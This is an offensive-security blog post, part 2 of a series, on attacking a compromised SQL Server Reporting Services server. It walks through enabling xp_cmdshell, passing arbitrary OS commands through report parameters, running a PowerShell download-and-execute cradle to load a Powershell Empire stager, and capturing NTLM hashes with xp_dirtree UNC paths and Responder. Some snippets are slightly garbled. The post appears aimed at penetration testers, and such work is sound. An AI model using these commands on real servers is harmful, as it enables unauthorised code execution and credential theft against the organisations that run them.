In part 1, we looked at dynamically extracting table data from a compromised SSRS server. We covered:

  • Uploading reports
  • Changing the report data source
  • Using parameters to modify the report behaviour

This post will expand on those ideas, show you how to steal NTLM hashes, and how to gain code execution.


SQL Server provides the xp_cmdshell stored procedure which allows OS commands to be executed. The sproc is disabled by default and can only be enabled by members of the sysadmin user group. If a sysadmin account is not used to execute the sproc, the “xp_cmdshell Proxy Account” is used to connect to windows. For this post, we will ignore the use of proxy accounts.

Before we can start executing commands on our compromised server, we need to know if the SSRS data source is running as a member of the sysadmin group and if xp_cmdshell is enabled.

We can check of xp_cmdshell is enabled using the following SQL query:

FROM sys.configurations
WHERE name = N'xp_cmdshell' ;

This query will return 1 if enabled, or 0 if disabled. We could just display this in the report as a number, but as SSRS allows us to change images based on the result of a query, we can use a visual indicator. We can add an indicator to the report, set the value to be an expression which reads the query result and then bind the expression result to an icon.

The following screenshot shows how to set up the indicator and it’s value expression.

This will present a red X if xp_cmdshell is disabled, or a green tick if it’s enabled. We can check if the data source user is a member of the sysadmin group using a similar indicator, with a different query used to obtain the value:

SELECT IS_SRVROLEMEMBER('sysadmin'as isAdmin

We can also retrieve the username that the data source is running under.


Putting this all together, we end up with the following report:

The data source on our development server is running as the sa account, which is a member of the sysadmin group, and xp_cmdshell is currently disabled. Unfortunately, if the user is not a sysadmin, you will not be able to enable xp_cmdshell which means code execution is not possible.


Members of the sysadmin group can enable xp_cmdshell using the following query:

EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;

SSRS allows us to run this query as is, simply by creating a new dataset. The query will only be executed when data from the dataset is displayed.

We can drop one of the returned values into a table, which will cause the query to execute as soon as the report is loaded. We can also re-use the indicator from the previous report to show if xp_cmdshell was enabled.

Adding these items to a new report gives us the following:

When executed, xp_cmdshell will be enabled. We can then refresh the report to update the indicator value.


With xp_cmdshell enabled, we can now run arbitrary code. xp_cmdshell is called as follows:

exec master..xp_cmdshell 'whoami'

As with previous examples, we can replace the command with an SSRS report parameter, allowing the report user to supply their own, arbitrary command.

exec master..xp_cmdshell @Command

Running the report allows the user to enter a command, which is executed when the report is run.


Now that we have code execution, we can attempt to gain a connect-back shell from the SSRS server. For this post, we will use Powershell Empire.

First, we create a HTTP listener.

Next we create our stager. As this is a windows host, we will use the simple Powershell launcher, multi/launcher.

We have written the stager command to a file. Let’s try running the stager command in our report.

We get an error stating that xp_cmdshell requires the “command_string” parameter. This is where we run into a limitation of SSRS.

SSRS parameters are limited to 2000 characters, and there is no way to increase this limit. The Empire stager is more than double this limit, and a metasploit psh-cmd stage is more than triple the allowed length.

Luckily, Powershell allows us to download a payload into memory and execute it with a command well under the 2000 char limit.

powershell.exe -ep Bypass -nop -noexit -c iex ((New-Object Net.WebClient).DownloadString(''))

We can start a Python SimpleHTTPServer on our kali VM, use the above payload to download and execute our Empire stager and wait for our shells to land.


SQL Server contains an undocumented and unsupported sproc called “xp_dirtree”, which retrieves a directory listing from the supplied path. As well as supporting local paths, it also allows UNC paths.

When Windows accesses a UNC path, it will send the NTLM hash of the user making the request. We can capture that hash using Responder.

For this attack to work, the SQL server must be running as a local account or a kerberos service account.  Local service accounts don’t work. A full explanation can be found here. Our SQL Server is currently running as a local service account, we need to update it to be a local user account. This change can be made in SQL Server Configuration Manager.

We change the Log On As account for the SQL Server agent to use the local admin account.

With that change made, we can move on to using xp_dirtree.

exec master..xp_dirtree '\\\foo'

The above query shows how we call xp_dirtree with a UNC path. Only the IP address needs to be valid for this to work.

As before, we can replace the hard-coded UNC path with a report parameter.

exec master..xp_dirtree @UNCPath

Just like the xp_cmdshell query, SSRS will only execute this query when data is retrieved from the dataset. Adding a dataset to a new report give us the following:

Before we can test this report, we need to set up Responder on our Kali machine.

./ -I eth0 -v

With Responder running, we can run the report, provide a UNC path with the IP of our Kali VM and wait for the hashes to be captured.

When we switch back to our Kali machine, we have the local admin hash waiting for us.


In this post we have seen how it is possible to enable and run xp_cmdshell to gain code execution, started building our Powershell Empire and demonstrated how to capture NTLM hashes using xp_dirtree.

The reports demonstrated in this post are available on our GitHub repo.


Unfortunately, SSRS reports are not backwards compatible with older versions. As these reports were written using SQL Serve 2016 and ReportBuilder 3, they are likely not compatible with older versions. There should be enough information in these posts to allow you to build reports to use against older SSRS instances. All the techniques discussed will work on older versions of SQL Server and SSRS. Keep an eye on our GitHub repo, as we may push versions of these reports built for older SSRS versions in future.


Person writing and typin on computer keyboard

Healthcare Cyber Security Challenges: Protecting Patient Data

In the digital age, the healthcare cyber security challenges the industry faces are formidable, with...

Securing Financial Transactions in the Digital Age

The digital revolution has radically changed how we both handle our money and the steps to securing ...

The Role of AI in Cybersecurity Friend or Foe

In this article, we'll explore the role of AI in Cybersecurity the potential benefits it provides, a...